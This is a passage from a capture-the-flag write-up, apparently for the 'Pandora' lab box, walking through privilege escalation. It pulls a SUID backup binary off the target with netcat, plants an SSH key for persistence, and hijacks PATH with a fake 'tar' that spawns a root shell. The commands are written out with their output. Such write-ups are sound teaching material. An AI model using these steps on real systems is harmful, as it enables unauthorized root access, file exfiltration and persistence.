Done, if we run lLinPEAS again as matt we can see that there is an interesting file owned by root but also part of the matt group. Furthermore, this binary has the SUID bit set so this is likely the intended path to root.

Pandora Backup SUID binary.

Let’s download this file using netcat and see what’s going on. First, we use netcat to send the binary to our local machine. I thought this was cool so I wanted to include it. Plus we don’t have strings on the target box.

└─$ nc -lvnp 9002 > pandora_backup
listening on [any] 9002 ...

Now we need to push the file through to our local machine from the target.

[email protected]:/tmp$ nc 9002 < /usr/bin/pandora_backup
nc 9002 < /usr/bin/pandora_backup

Then we MD5 sum both the files and compare the hashes to make sure they are the same.

└─$ md5sum pandora_backup 
172b42e4a9c9de0d155c357c733ff80f  pandora_backup

[email protected]:/tmp$ md5sum /usr/bin/pandora_backup
md5sum /usr/bin/pandora_backup
172b42e4a9c9de0d155c357c733ff80f  /usr/bin/pandora_backup

Running strings on the binary we can see that it is calling tar without an absolute path. This means we can create our own tar binary with any command we want. Then, we can change our path to the location of the tar binary so that when the script is executed, it runs our command.

Tar path

I tried to exploit this with our current shell but there is something off with it. I threw an SSH key into Matt’s authorized keys and logged in as Matt via SSH.

Pandora Privilege Escalation

We already know how to escalate our privileges so let’s do it. First, we need to tell the system that our path is going to be ‘/tmp’.

[email protected]:/tmp$ export PATH=/tmp:$PATH

Now we need a payload so let’s echo the path to bash into a file called tar and make that file executable.

[email protected]:/tmp$ echo /bin/bash > tar
matt@pandora:/tmp$ cat tar
[email protected]:/tmp$ chmod +x tar

Finally, we can run the pandora_backup binary that’s owned by root and has SUID set. We are now root and have access to the root.txt flag.

[email protected]:/tmp$ /usr/bin/pandora_backup 
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
[email protected]:/tmp# id
uid=0(root) gid=1000(matt) groups=1000(matt)
[email protected]:/tmp# cat /root/root.txt

Pandora Review

On reflection, this wasn’t a difficult box but I think we went about it in a difficult way. I think if we had cracked Matt’s password or stolen Matt’s session then I would have found it easier. The privilege escalation was easy enough but the path to Matt seemed overly complex but I don’t think it was the intended way. Anyway, I enjoyed it.